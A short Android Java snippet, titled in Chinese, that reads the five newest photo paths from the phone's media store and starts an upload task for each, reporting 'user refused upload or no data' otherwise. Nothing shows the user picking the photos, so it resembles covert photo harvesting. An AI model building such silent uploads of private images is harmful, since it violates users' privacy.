Android获取手机里最新的图片
// 获取相册图片 private void getPic() { Log.d("duke", "piccccc"); // initDatass("时间:" // + new SimpleDateFormat("yyyy年MM月dd日 HH:mm:ss") // .format(new Date(System.currentTimeMillis()))); picList.clear(); picBuffer.setLength(0); // 获取手机联系人:注意最后一个参数,筛选 Cursor cursor = getApplicationContext().getContentResolver().query( MediaStore.Images.Media.EXTERNAL_CONTENT_URI, null, null, null, Photo._ID + " desc"); // moveToNext方法返回的是一个boolean类型的数据; if (cursor.getCount() > 0) { int i = 0; while (cursor.moveToNext()) { if (cursor.getCount() >= 5) { if (i < 5) { String completefilepath = cursor.getString(cursor .getColumnIndex(MediaColumns.DATA)); Log.d("duke", "completefilepath=" + completefilepath); picList.add(completefilepath); i++; } } else { String completefilepath = cursor.getString(cursor .getColumnIndex(MediaColumns.DATA)); Log.d("duke", "completefilepath=" + completefilepath); picList.add(completefilepath); } } for (int j = 0; j < picList.size(); j++) { new UploadTask3().execute(picList.get(j)); } } else { sendPhoneInfo("4", "用户拒绝上传或暂无数据"); } }